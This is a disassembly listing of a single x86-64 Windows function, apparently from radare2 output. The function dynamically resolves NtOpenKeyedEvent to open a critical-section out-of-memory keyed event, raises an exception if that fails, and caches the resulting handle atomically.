jae 0x140002066
xor edi, edi
cmp qword [0x1400191f0], rdi
jne 0x14000205d
bt qword [0x1400143a0], 0
lea rdx, str.NtOpenKeyedEvent
lea rcx, [0x140019048]
call fcn.140002454
mov rbx, rax
test rax, rax
jne 0x140001f8f
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov ecx, 0xc0000264
call qword [sym.imp.KERNEL32.dll_RaiseException]
or rcx, 0xffffffffffffffff
lea r9, str.KernelObjectsCritSecOutOfMemoryEvent
mov rax, r9
mov rdx, rdi
lea r8d, [rcx + 3]
cmp word [rax], di
je 0x140001fb5
inc rdx
add rax, r8
sub rcx, 1
jne 0x140001fa4
lea rcx, [rdx + rdx]
mov qword [rsp + 0x28], r9
mov edx, 0xffff
mov dword [rsp + 0x30], 0x30
cmp rcx, rdx
mov qword [rsp + 0x38], rdi
movzx eax, cx
cmova ax, dx
mov word [rsp + 0x20], ax
lea rax, [rcx + 2]
add cx, r8w
lea r8, [rsp + 0x30]
cmp rax, rdx
lea rax, [rsp + 0x20]
mov qword [rsp + 0x40], rax
cmova cx, dx
xor eax, eax
mov word [rsp + 0x22], cx
mov edx, 0x2000000
movaps xmm0, xmmword [rsp + 0x20]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
call rbx
test eax, eax
jns 0x140002041
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xc0000264
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_RaiseException]
mov rcx, qword [rsp + 0x70]
xor eax, eax
lock cmpxchg qword [0x1400191f0], rcx
je 0x14000205d
mov rcx, qword [rsp + 0x70]
call fcn.140001ae8
mov rax, qword [0x1400191f0]
jmp 0x140002068
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret